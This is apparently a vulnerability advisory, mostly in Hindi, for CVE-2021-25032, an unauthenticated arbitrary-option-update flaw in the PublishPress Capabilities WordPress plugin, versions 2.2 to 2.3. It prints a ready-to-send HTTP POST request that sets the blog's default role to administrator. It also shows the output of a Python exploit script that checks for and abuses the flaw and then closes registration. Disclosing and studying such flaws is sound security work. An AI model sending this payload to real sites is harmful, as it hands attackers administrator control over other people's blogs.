
PublishPress Capabilities < 2.3.1 - अप्रमाणित मनमाने विकल्प अपडेट द्वारा ब्लॉग समझौता
PublishPress Capabilities 2.2 - 2.3 - बिना प्रमाणीकरण के मनमाने विकल्प अपडेट से ब्लॉग समझौता
प्लगइन के init हुक के माध्यम से सेटिंग्स अपडेट करते समय प्लगइन में प्राधिकरण और CSRF जांच नहीं है, और यह सुनिश्चित नहीं करता है कि अपडेट किए जाने वाले विकल्प प्लगइन के हैं। परिणामस्वरूप, बिना प्रमाणीकरण वाले हमलावर डिफ़ॉल्ट भूमिका जैसे मनमाने ब्लॉग विकल्प अपडेट कर सकते हैं और किसी भी नए पंजीकृत उपयोगकर्ता को व्यवस्थापक भूमिका दे सकते हैं।
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
पंजीकरण और सदस्य अक्षम करें
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register